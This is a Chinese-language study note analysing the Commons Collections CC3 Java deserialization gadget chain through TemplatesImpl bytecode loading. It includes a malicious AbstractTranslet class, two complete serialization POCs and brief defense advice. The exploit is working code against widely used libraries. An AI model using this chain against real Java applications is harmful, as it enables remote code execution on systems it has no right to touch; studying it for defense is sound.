java反序列化 cc3学习
字数 1953 2025-08-29 22:41:02

Java反序列化CC3利用链分析与学习

前置知识

动态类加载机制

CC3利用链的核心是通过加载字节码再newInstance()实例化对象来执行命令,这与CC1通过反射实例化对象有所不同。

defineClass()方法

defineClass()ClassLoader类的一个保护方法(protected),其作用是将一段包含合法Java字节码的字节数组转换成JVM能识别的Class<?>对象。

关键点:

  • 字节码数据通常来自.class文件或动态生成
  • 通过defineClass()可以动态将字节码加载到JVM运行时环境
  • 该方法相当于将字节码"翻译"成Java类的内部表示形式(Class对象)

从字节码到对象实例

加载字节码只是第一步,得到Class<?>对象后还需要实例化它:

  1. 通常调用newInstance()函数
  2. 实例化时会执行静态代码块
  3. 恶意代码可以放在静态代码块中

示例代码:

// 读取字节码
byte[] bytecodes = ...;

// 自定义类加载器加载字节码
Class<?> clazz = myClassLoader.defineClass(null, bytecodes, 0, bytecodes.length);

// 实例化对象,触发静态块和构造函数
Object instance = clazz.getDeclaredConstructor().newInstance();

利用链分析

TemplatesImpl类分析

关键方法getTransletInstance()中存在newInstance()调用:

_class[_transletIndex].newInstance()

这条语句通过反射实例化_class数组中索引为_transletIndexClass<?>对象,会:

  1. 创建该类的实例
  2. 触发构造方法和静态初始化代码

因此,如果能控制_class数组并写入包含恶意代码的class对象,就能执行恶意代码。

_class数组控制

_class数组通过_bytes变量赋值,关键赋值代码:

for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();
    // ...
}

_bytecodes是一个二维数组,每个元素都是一个byte数组,可以存放恶意字节码。

恶意类构造

恶意类示例:

public class evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

为什么需要:

  1. 继承AbstractTranslet
  2. 重写看似无关的方法

原因将在后面条件分析中解释。

字节码加载与实例化

基本POC结构:

TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
templates.getTransletInstance();

getTransletInstance()是private方法,无法直接调用,需要寻找其他途径。

替代调用路径

TemplatesImpl类中的newTransformer()是public方法,内部调用了getTransletInstance(),因此可以改为:

templates.newTransformer();

必要条件分析

执行到newInstance()前需要满足的条件:

  1. _tfactory不能为空

    • 需要设置为TransformerFactoryImpl实例
    setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
  2. _name不能为空

    setFieldValue(templates,"_name","任意非空字符串");
    
  3. _class需要为空(初始状态即可)

  4. defineTransletClasses()中的条件:

    • _bytecodes非空
    • 父类名必须是ABSTRACR_TRANSLET
      • 因此恶意类必须继承AbstractTranslet
      • 且需要实现其抽象方法(transform
    • _transletIndex默认值为-1,需要使其≥0

完整POC示例

版本1:结合CC1前半部分

public class CC1_TemplatesImpl {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");
        byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null,null),
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
        
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        
        serialize(o);
        unserialize("cc1_templatesImpl.bin");
    }
    
    // 辅助方法省略...
}

版本2:使用InstantiateTransformer

public class CC3Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");
        byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
            new Class[]{Templates.class}, 
            new Object[]{templates}
        );
        
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
        
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        
        serialize(o);
        unserialize("sercc3.bin");
    }
    
    // 辅助方法省略...
}

技术总结

CC3利用链触发流程

  1. 构造恶意类字节码

    • 继承AbstractTranslet
    • 在静态代码块或构造器中写入恶意命令
    static {
        Runtime.getRuntime().exec("calc");
    }
    
  2. 准备字节码

    byte[] code = Files.readAllBytes(Paths.get("Evil.class路径"));
    byte[][] codes = { code };
    
  3. 构造TemplatesImpl实例

    • 设置_bytecodes为恶意字节码
    • 设置_name为非空字符串
    • 设置_tfactorynew TransformerFactoryImpl()
  4. 触发执行

    • 调用templates.newTransformer()
      • 调用defineTransletClasses()
        • 调用defineClass()加载字节码为Class对象
        • 调用_class[i].newInstance()实例化恶意类
        • 触发静态块/构造器执行恶意代码

关键调用链

TemplatesImpl.newTransformer()
↓
defineTransletClasses()
↓
_class[i] = defineClass(_bytecodes[i])
↓
_class[i].newInstance()
↓
→ 执行static块/构造函数 → 命令执行

核心技术点

  1. 字节码注入

    • 通过TemplatesImpl传入恶意字节码,绕过常规白名单
  2. 动态类加载

    • defineClass()将字节码转为JVM可识别的Class<?>对象
    • newInstance()实例化触发恶意逻辑
  3. 类型约束

    • 必须继承AbstractTranslet(内部类型校验要求)
    • 需要实现抽象方法以满足编译要求

与CC1的区别

  • CC1:基于InvokerTransformer的反射机制
  • CC3:基于TemplatesImplnewInstance()机制
    • 通过字节码注入与动态类加载配合
    • 核心在于控制_bytecodes字段注入任意字节码
    • 触发实例化操作实现命令执行

防御建议

  1. 升级Commons Collections库到安全版本
  2. 对反序列化操作进行严格限制
  3. 使用安全管理器限制危险操作
  4. 对字节码加载进行严格校验
Java反序列化CC3利用链分析与学习 前置知识 动态类加载机制 CC3利用链的核心是通过加载字节码再 newInstance() 实例化对象来执行命令,这与CC1通过反射实例化对象有所不同。 defineClass()方法 defineClass() 是 ClassLoader 类的一个保护方法(protected),其作用是将一段包含合法Java字节码的字节数组转换成JVM能识别的 Class<?> 对象。 关键点: 字节码数据通常来自.class文件或动态生成 通过 defineClass() 可以动态将字节码加载到JVM运行时环境 该方法相当于将字节码"翻译"成Java类的内部表示形式(Class对象) 从字节码到对象实例 加载字节码只是第一步,得到 Class<?> 对象后还需要实例化它: 通常调用 newInstance() 函数 实例化时会执行静态代码块 恶意代码可以放在静态代码块中 示例代码: 利用链分析 TemplatesImpl类分析 关键方法 getTransletInstance() 中存在 newInstance() 调用: 这条语句通过反射实例化 _class 数组中索引为 _transletIndex 的 Class<?> 对象,会: 创建该类的实例 触发构造方法和静态初始化代码 因此,如果能控制 _class 数组并写入包含恶意代码的class对象,就能执行恶意代码。 _ class数组控制 _class 数组通过 _bytes 变量赋值,关键赋值代码: _bytecodes 是一个二维数组,每个元素都是一个byte数组,可以存放恶意字节码。 恶意类构造 恶意类示例: 为什么需要: 继承 AbstractTranslet 类 重写看似无关的方法 原因将在后面条件分析中解释。 字节码加载与实例化 基本POC结构: 但 getTransletInstance() 是private方法,无法直接调用,需要寻找其他途径。 替代调用路径 TemplatesImpl 类中的 newTransformer() 是public方法,内部调用了 getTransletInstance() ,因此可以改为: 必要条件分析 执行到 newInstance() 前需要满足的条件: _tfactory 不能为空 需要设置为 TransformerFactoryImpl 实例 _name 不能为空 _class 需要为空(初始状态即可) defineTransletClasses() 中的条件: _bytecodes 非空 父类名必须是 ABSTRACR_TRANSLET 因此恶意类必须继承 AbstractTranslet 且需要实现其抽象方法( transform ) _transletIndex 默认值为-1,需要使其≥0 完整POC示例 版本1:结合CC1前半部分 版本2:使用InstantiateTransformer 技术总结 CC3利用链触发流程 构造恶意类字节码 : 继承 AbstractTranslet 在静态代码块或构造器中写入恶意命令 准备字节码 : 构造TemplatesImpl实例 : 设置 _bytecodes 为恶意字节码 设置 _name 为非空字符串 设置 _tfactory 为 new TransformerFactoryImpl() 触发执行 : 调用 templates.newTransformer() 调用 defineTransletClasses() 调用 defineClass() 加载字节码为Class对象 调用 _class[i].newInstance() 实例化恶意类 触发静态块/构造器执行恶意代码 关键调用链 核心技术点 字节码注入 : 通过 TemplatesImpl 传入恶意字节码,绕过常规白名单 动态类加载 : defineClass() 将字节码转为JVM可识别的 Class<?> 对象 newInstance() 实例化触发恶意逻辑 类型约束 : 必须继承 AbstractTranslet (内部类型校验要求) 需要实现抽象方法以满足编译要求 与CC1的区别 CC1 :基于 InvokerTransformer 的反射机制 CC3 :基于 TemplatesImpl 的 newInstance() 机制 通过字节码注入与动态类加载配合 核心在于控制 _bytecodes 字段注入任意字节码 触发实例化操作实现命令执行 防御建议 升级Commons Collections库到安全版本 对反序列化操作进行严格限制 使用安全管理器限制危险操作 对字节码加载进行严格校验